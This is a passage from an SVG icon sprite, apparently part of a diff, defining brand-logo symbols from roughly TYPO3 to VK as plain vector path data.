81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z"></path> + </symbol> + <symbol id="typo3" viewBox="0 0 448 512"> + <path d="M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"></path> + </symbol> + <symbol id="uber" viewBox="0 0 448 512"> + <path d="M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"></path> + </symbol> + <symbol id="ubuntu" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"></path> + </symbol> + <symbol id="uikit" viewBox="0 0 448 512"> + <path d="M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"></path> + </symbol> + <symbol id="umbraco" viewBox="0 0 510 512"> + <path d="M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"></path> + </symbol> + <symbol id="uncharted" viewBox="0 0 448 512"> + <path d="M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"></path> + </symbol> + <symbol id="uniregistry" viewBox="0 0 384 512"> + <path d="M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"></path> + </symbol> + <symbol id="unity" viewBox="0 0 576 512"> + <path d="M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z"></path> + </symbol> + <symbol id="unsplash" viewBox="0 0 448 512"> + <path d="M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"></path> + </symbol> + <symbol id="untappd" viewBox="0 0 640 512"> + <path d="M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"></path> + </symbol> + <symbol id="ups" viewBox="0 0 384 512"> + <path d="M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"></path> + </symbol> + <symbol id="usb" viewBox="0 0 640 512"> + <path d="M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"></path> + </symbol> + <symbol id="usps" viewBox="0 0 576 512"> + <path d="M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"></path> + </symbol> + <symbol id="ussunnah" viewBox="0 0 512 512"> + <path d="M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z"></path> + </symbol> + <symbol id="vaadin" viewBox="0 0 448 512"> + <path d="M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"></path> + </symbol> + <symbol id="viacoin" viewBox="0 0 384 512"> + <path d="M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"></path> + </symbol> + <symbol id="viadeo" viewBox="0 0 448 512"> + <path d="M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"></path> + </symbol> + <symbol id="viadeo-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"></path> + </symbol> + <symbol id="viber" viewBox="0 0 512 512"> + <path d="M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"></path> + </symbol> + <symbol id="vimeo" viewBox="0 0 448 512"> + <path d="M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"></path> + </symbol> + <symbol id="vimeo-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"></path> + </symbol> + <symbol id="vimeo-v" viewBox="0 0 448 512"> + <path d="M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"></path> + </symbol> + <symbol id="vine" viewBox="0 0 384 512"> + <path d="M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"></path> + </symbol> + <symbol id="vk" viewBox="0 0 576 512"> + <path d="M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 